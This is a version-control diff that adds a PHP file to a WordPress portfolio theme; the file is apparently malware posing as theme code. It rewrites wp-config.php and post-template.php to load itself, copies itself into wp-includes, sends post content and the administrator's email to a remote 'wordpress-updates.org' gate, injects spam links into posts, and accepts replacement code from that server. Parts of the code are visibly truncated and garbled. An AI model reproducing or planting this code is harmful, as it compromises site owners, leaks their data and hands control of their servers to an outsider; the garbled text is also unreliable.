diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/vivee_portfolio/functions.wp-amt.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/vivee_portfolio/functions.wp-amt.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,595 @@ +0;$q--) + { + $link[$q]="/".$link[$q]; + $r_dir=str_replace($link[$q],"",$r_dir); + $rdr=amt_rdr($r_dir); + if(@in_array('wp-config.php',$rdr)) + { + $root_dir[0]=$r_dir; + break; + } + } + $root_dir[1]=$root_dir[0]."/wp-includes"; + $t_dir=$root_dir[0]."/wp-content/themes/"; + $t_dirs=amt_rdr($t_dir); + for($q=0;$qamt_trim_domen(); + $this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt"); + return $t_n; + } + function amt_gae() + { + global $wpdb, $table_prefix; + $uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr)); + $uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr)); + $this->a_em=$uem[0]; + return $a_em; + } + function amt_crtb() + { + global $wpdb; + $this->amt_gtbl(); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + id_post INT(9) NOT NULL , + last_up DATETIME NOT NULL , + addd DATETIME NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + l_b ENUM('0', '1') NOT NULL , + id_post INT(9) NOT NULL , + word VARCHAR(255) NOT NULL , + id_word INT( 9 ) NOT NULL , + link VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." ( + host VARCHAR(255) NOT NULL , + t_o VARCHAR(255) NOT NULL , + n_f VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + if($this->host=="") + { + $amt_nf=$this->amt_gfn(); + $query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());"; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + } + $mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0]; + } +} +$amt_d=new amt_data; +$amt_d->amt_crtb(); +$amt_d->amt_gae(); +$root_dir=amt_gp(); +$amt_d->u_tpl=$amt_u_tpl; +$amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]); +$amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php"; +$amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php"; +$amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php"; +$amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php"; +$amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]); +$amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php"; +$amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php"; +$amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f; +if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; } +amt_ci(); +amt_cifi(); + +function amt_cif() +{ +global $amt_d; +if(file_exists($amt_d->wp_ff)) { return true; } else { return false; } +} + +function amt_cifi() +{ +global $amt_d; +$today=date("Ymd"); + if($today<=20100225) + { + $post = array('my_h' => $amt_d->my_h, 'my_url' => $m_url, 'wrt' => $amt_d->wrt); + amt_sender("http://".$amt_d->host."/gate/post_ci.php", $post); + } +} + +function amt_ci() +{ +global $amt_d; + $sha="!amt_cif!si"; + $sha2="!".$amt_d->n_f."!si"; + $cont=file_get_contents($amt_d->wp_c); + if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match)) + { + $amt_d->ci[0]=0; + } + else + { + $amt_d->ci[0]=1; + } + $sha="!amt_cc!si"; + $cont=file_get_contents($amt_d->wp_pt); + if(!preg_match($sha,$cont,$match)) + { + $amt_d->ci[1]=0; + } + else + { + $amt_d->ci[1]=1; + } + + if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0) + { + $amt_d->ci[2]=0; + } + else + { + $amt_d->ci[2]=1; + } +if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; } +if($amt_d->ci[3]==0) +{ + if($amt_d->ci[0]==0) + { + chmod($amt_d->wp_c, 0755); + $cont=trim(file_get_contents($amt_d->wp_c)); + $sha="/\?>$/"; + if(preg_match($sha,$cont,$name)) + { + $cont=$cont." +n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; + } + else + { + $cont=$cont." +if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; + } + $amt_f = fopen($amt_d->wp_c,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { chmod($amt_d->wp_c, 0644); } + } + if($amt_d->ci[1]==0) + { + $cont=file_get_contents($amt_d->wp_pt); +$sha1="echo \$content;"; +$sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); } + echo \$content;"; + $cont=str_replace($sha1,$sha2,$cont); + chmod($amt_d->wp_pt, 0755); + $amt_f = fopen($amt_d->wp_pt,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { @chmod($amt_d->wp_pt, 0644); } + } + if($amt_d->ci[2]==0) + { + $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); } + if(file_exists($amt_d->wp_ff)) + { + chmod($amt_d->wp_ff, 0755); + } + $amt_f = fopen($amt_d->wp_ff,"w"); + $test = fwrite($amt_f, $content); + fclose($amt_f); + if($test) { chmod($amt_d->wp_ff, 0644); } + } +} +} +function amt_cc($content) +{ + global $amt_d; + $amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id); + amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content); + return $content; +} +function amt_gct($id) +{ +global $amt_d; +$ololo=get_post($id); +$amt_cty=get_the_category(); +$amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name; +$amt_d->p_ttl=$ololo->post_title; +} +function amt_cco($id, $content) +{ +global $wpdb, $amt_d; +$q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); + for($q=0;$q < count($q_word);$q++) + { + $content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4); + } +$content.=amt_abl($id); +return $content; +} +function amt_abl($id) +{ +global $wpdb, $amt_d; +$t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr)); + if($t_link[0]!="") + { + $tlk="

".$t_link[0]."

"; + } + else + { + $tlk=""; + } +return $tlk; +} +function amt_copt($m_url) +{ +global $wpdb, $amt_d; +$post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); +$today=date("Y-m-d"); + if(!amt_cuo()) + { + if($amt_ud=amt_sender($amt_d->u_g[2], $post)) + { + if($amt_ud!="no" && $amt_ud!="") + { + $amt_md=explode('*^*^*^*',$amt_ud); + $amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + if($amt_md[3]==2) + { + amt_cnff($amt_md[4]); + } + } + else + { + $amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + } + } + } +} +function amt_cnff($content) +{ +global $amt_d; +if($content=="") { return false; } +$content= +""; + if(file_exists($amt_d->wp_ff)) + { + @chmod($amt_d->wp_ff, 0755); + } +$amt_f = fopen($amt_d->wp_ff,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($amt_d->wp_ff, 0644); } +$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) + { + @chmod($s_f_path, 0755); + } +$amt_f = fopen($s_f_path,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($s_f_path, 0644); } +} +function amt_inb($id, $last) +{ +global $wpdb, $amt_d; +$amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($amt_q); +$amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())"; +$wpdb->query($amt_q); +} +function amt_ins($id, $last, $cont, $url) +{ +global $amt_d; +$last=str_replace(" ","_",$last); +$url=trim_url($url); +$post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); +$amt_pisg=amt_sender($amt_d->u_g[0], $post); +if($amt_pisg=="ok") { $pis=1; } else { $pis=0; } +return $pis; +} +function amt_pib($id) +{ +global $wpdb, $amt_d; +$query="select id from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($query); + if($wpdb->num_rows>0) + { + $per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr)); + if($per>30) + { + return 0; + } + else + { + return 1; + } + } +return $wpdb->num_rows; +} +function amt_qwe($id) +{ +global $wpdb, $amt_d; +$query="select * from ".$amt_d->t_n[1]." where id_post='$id'"; +$wpdb->query($query); +return $wpdb->num_rows; +} +function amt_cuq() +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr)); + if($date_up!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_cuo() +{ +global $amt_d; +$today=date("Y-m-d"); + if($amt_d->c_d!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_qse($id, $m_url) +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$m_url=trim_url($m_url); +$post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); + if($amt_nq=amt_sender($amt_d->u_g[1], $post)) + { + if($amt_nq=="no quests") + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')"; + echo $amt_q2; + $wpdb->query($amt_q2); + } + else + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_qs=explode("*****",$amt_nq); + for($q=0;$q < sizeof($amt_qs);$q++) + { + $m_amt_q=explode("^^^",$amt_qs[$q]); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')"; + $wpdb->query($amt_q2); + } + } + } +} +function amt_sender($url, $post) +{ +global $amt_d; +$_post=Array(); + if(is_array($post)) + { + foreach($post as $name => $value) + { + $_post[]=$name.'='.urlencode($value); + } + } + if (function_exists("curl_init")) + { + $ch=curl_init($url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o); + curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0"); + curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); + if(is_array($post)) + { + curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post)); + } + $result=curl_exec($ch); + if(curl_errno($ch)!=0 && empty($result)) + { + $result=false; + } + curl_close($ch); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + else + { + $parse_url = parse_url($url); + $path = $parse_url["path"]; + $host= $parse_url["host"]; + $result=""; + $post=implode('&', $_post); + $fp=fsockopen($host, 80); + if($fp) + { + socket_set_timeout($fp, $amt_d->t_o); + $request = "POST $path HTTP/1.1\r\n"; + $request .= "Host: $host\r\n"; + $request .= "User-Agent: Penetrator/3.0\r\n"; + $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; + $request .= "Referer: ".$amt_d->my_h."\r\n"; + $request .= "Content-Length: ".strlen($post)."\r\n"; + $request .= "Connection: close\r\n\r\n$post"; + fputs($fp,$request); + while(!feof($fp)) + { + $result.=fgets($fp); + } + fclose($fp); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + return false; + } +} +function amt_create_post_words($content,$word,$id_word,$link,$nwm) +{ +$n_content=strip_tags($content); +$word=trim($word); +$t_link="http://".$link; +$w=0; +$sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si"; +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="***\\0***"; +$new_content=preg_replace($bilo,$stalo,$n_content); +preg_match_all($sha2,$new_content,$massa); +$sha_word=erase_zv($massa[0][$id_word]); +$sha_word_l=strong_word($sha_word,$word,$t_link); +$content=str_replace($sha_word,$sha_word_l,$content); +return $content; +} +function erase_zv($text) +{ +$text=str_replace(",***",",",$text); +$text=str_replace(".***",".",$text); +$text=str_replace(" ***"," ",$text); +$text=str_replace("*** "," ",$text); +$text=str_replace("***"," ",$text); +return $text; +} +function trim_side($text) +{ +$new_text=""; +$txt=explode(" ", $text); +$n_w=sizeof($txt); + for($ts=1;$ts<$n_w-1;$ts++) + { + $new_text.=$txt[$ts]." "; + } +return $new_text; +} +function strong_word($content,$word,$t_link) +{ +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="\\0"; +$content=preg_replace($bilo,$stalo,$content); +$content=str_replace("> ",">",$content); +$content=str_replace(" <","<",$content); +$content=str_replace("<"," <",$content); +$content=str_replace(" ","",$content); +$content=str_replace(""," ",$content); +$content=str_replace(",",", ",$content); +$content=str_replace(".",". ",$content); +$content=str_replace(" "," ",$content); +return $content; +} +function trim_url($url) +{ +$url=preg_replace("(www.|http://)", "", $url); +return $url; +} +?> \ No newline at end of file